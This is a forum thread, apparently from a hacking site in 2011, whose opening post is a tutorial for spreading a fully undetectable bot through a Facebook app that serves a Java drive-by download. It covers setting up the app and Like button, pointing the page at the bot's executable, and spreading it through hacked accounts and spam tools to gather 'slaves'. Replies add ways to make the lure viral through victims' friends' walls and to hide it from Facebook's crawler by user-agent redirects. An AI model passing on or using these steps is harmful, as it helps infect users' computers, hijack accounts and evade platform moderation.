Thread: [\[TUT\] Facebook JavaDrive-By Spreading Method \[New\]\[3 Custom FB buttons\]](#)

arunbluez - May 20, 2011, 8:58 am

DISCLAIMER: I'm Sorry if this Spreading technique is Already been posted on HF. I did a Search but didnt find anything related to this type of Spreading.

Prerequisite: You will need a Paid Webhost. (I think Free webhosting wont work, anyways you could give it a try)

A FUD bot is highly recommended (Please make your Bot FUD, else FB will ban ur app in no time.)

Files to Download:

Each Rar file contains 3 files, a jar file, a index.html file, and a Jpg file.

The Java DriveBy is from Sin's Java Drive-By v2 = All credits to Sinlord

The images and Index.html files are edited by Me.

1. Love Button:

[img]http://wowmastery.org/go/image/lovee.jpg[/img]

Download: <http://adf.ly/1YifW>

2. Dislike Button:

[img]http://wowmastery.org/go/image/dislikee.jpg[/img]

Download: <http://adf.ly/1YgH4>

3. Emoticons Button:

[img]http://wowmastery.org/go/image/emoe.jpg[/img]

Download: <http://adf.ly/1YgHv>

Password to all the Rar files:

Pass>>base-64>>tripo-5>>(atom-128+atom-128)<<hazz-15<<base-64<<HackFourms.net

Code

Kj6jfkXnhTKTyXXHxQNfks6SJA2ih5IKihY08H2Kj5apiPJ+tH9fhGk+grAH/CCpyWt+gAsMJnNHm06eI9ipoK6SJA6gtT1HyLZSoB5L5WkTbCCHINT: You cannot Decrypt this password in the normal way, Think about it, im sure you can crack it ?

If you guys are not able to decrypt it, Use this \$harecash Link <http://adf.ly/1ZCtG> ??

Setting up your FB App:

Once you have downloaded atleast one of the above 3 button, you can start creating your App. We create this App just for a valid link for our Link button.

Click here to Create a FB App: <http://adf.ly/1Ygly>

(Note: You need a verified FB account to Create a App)

[img]http://wowmastery.org/go/image/fb1.jpg[/img]

Fill in the Name of the App anything you like but something related to your button type.

Click create Application.

Now fill in some basic info and upload a image for ur App icon(optional)

[img]http://wowmastery.org/go/image/fb2.jpg[/img]

Then Click the Facebook Integration TAB.

[img]http://wowmastery.org/go/image/fb3.jpg[/img]

On this page you just need to fill in the "Canvas Page", Something related to your Button type. Then click Save Settings.

Create your Like Button:

Now lets create a like button to help spread our app, we need to spread the actual canvas rather than the app profile Page that is why were making an extra like button which goes directly to the app, means if someone clicks it, then Your BOT will download straight away with a Java PopUp.

Click here to make the LIKE button: <http://adf.ly/1Ygel>

The only thing you need to fill in is the URL to Like, with the CANVAS page link you entered in url App something like 'http://apps.facebook.com/WhateverYouPutHere/'

[img]http://wowmastery.org/go/image/fb4.jpg[/img]

Click the 'Get Code' and Copy the IFrame Code to a Notepad for future Use.

Editing your Index.html:

You need to edit your Index.html file, so open it in a Html editor or Notepad if you dont have one.

NOTE: at this stage you should have a FUD Bot uploaded to your WEB hosting, get the Direct url to your exe file. (you cannot use File Hosting sites like Mediafire, megaupload etc.)

Now look for "http://www.YOUR_SITE.com/YOUR_BOT.exe" and replace the url with your URL to the BOT.

Then look for <!-- YOUR FB LIKE BUTTON - IFRAME CODE BELOW HERE --> and paste the IFrame Code of your like Button below it.

Save your Index.html file.

Uploading your Files:

Just Upload your 3 Files to a WEB Hosting (Note: You cannot use a Free hosting site to upload these files as Facebook wont allow free hosting links in its app)

Editing your App:

Now lets edit the app to display the contents of the files you just uploaded. If you want to see all of your apps you have created click this link - <http://adf.ly/1Ygly>

Click on the app you just made. Click 'Edit Settings', Click Facebook Integration Tab, Now fill in the canvas URL, fill it in with the url where the files are, it must end with a '/'. I recommended uploading your files to a sub directory. E.g. 'http://www.Your_Site.com/something/'

[img]http://wowmastery.org/go/image/fb5.jpg[/img]

Click Save Settings.

Testing:

Go to your Application Profile Page and then Click the Go to App Button at the top. Now you should get a Java PoPup, Click Run and the Bot is Downloaded to your Comp.

Spreading:

Now there are many ways you could spread this Page to get maximum slaves.

here are some methods which you could use-

1. If you already have a few Hacked FB accounts then just Go to there account and WALL Post the link to your APP page, The Page which has your Like button. (NOTE: USE a SHORT URL like bit.ly [WARNING: potentially infected] etc when u post the links)

2. Here is a Tool ([Facebook Friend Bomber v7](#)) which you could easily use to spam posts and messages using a fb account.

3. You could Use a Facebook Malware Script to exponentially increase the number of slaves you get. But im afraid that FB has patched it. But i'll check it out, If it works then i'll post a PART 2 of this Tutorial to exponentially increase your victims.

Stay tuned for PART - 2. ?

nice tutorial

i will try it right now :)

izujelly - May 20, 2011, 1:02 pm

how many new zombies/installs are you getting with this method?

GeeNine - May 20, 2011, 1:24 pm

Great method, but it's missing something.

It's possible to get thousands, if not hundreds of thousands, of installs per day. Ensure your bot has the ability to post to a users Facebook wall and all their friends.

Once the user has downloaded you post to their wall and their friends wall with "I've downloaded the new Dislike button it's cool. Download it here <unique short url>".

Use a unique url per user to ensure FB don't ban links. Also block the Facebook robot (check user-agent) from accessing your page, do a 302 redirect to a random Facebook profile if it's the Facebook bot. Facebook bot automatically follows 302 redirects and wont ban their own urls.

By posting to friends walls you ensure your shit goes MEGA viral. On my last Facebook campaign I had over 22 million clicks in 6 days. I wasn't doing installs, but if I had, I would have a lot of users.

Thanks a lot mate. I think now i have an idea to even improve this method. I will make a PART 2 of this TUT. to extend the Capabilities.

- Yeah about the Short Url, ill add it in the TUT.
- The redirect option, can be done with the Javadrive-by itself. i have a private Java drive-by which redirects after you click the RUN button.

pm me the pass please?

(messageto short)

marek777 - June 1, 2011, 8:00 am

nice i wanna learn hack too

. i search a teacher sorry 4 abd english i am german

arunbluez - June 2, 2011, 4:59 am

Ok i find many people not able to crack the password and PM me asking for PASSWORD.!!!

So here is a Ho to crack the PASSWORD.

First... CRYPT the word: Hackforums.net in the given format. then subtract the Code from the given CODE, then decrypt as Normal.

The pass and the word Hackforums.net are 2 diff words word crypted differently and the final code is joined together.

Just think about it and im sure you can do it.

IF YOU STILL CANT crack the pass, plz use the \$harecash Llnk. i can help you further.

Thank you really much for your effort to write the Tutorial, ill test it out when i manage to remove the error message from facebook when inserting my Java drive by link to "Canvas URL" which is "URL must point to a secure page (i.e., the protocol used is 'https')." Does anybody have the same problem? Or knows how to solve it

Vouch for this!

Edit 1: Omg, my fault i filled out the "secure canvas URL" box too >.< Now it works thanks for this

great tutorial!
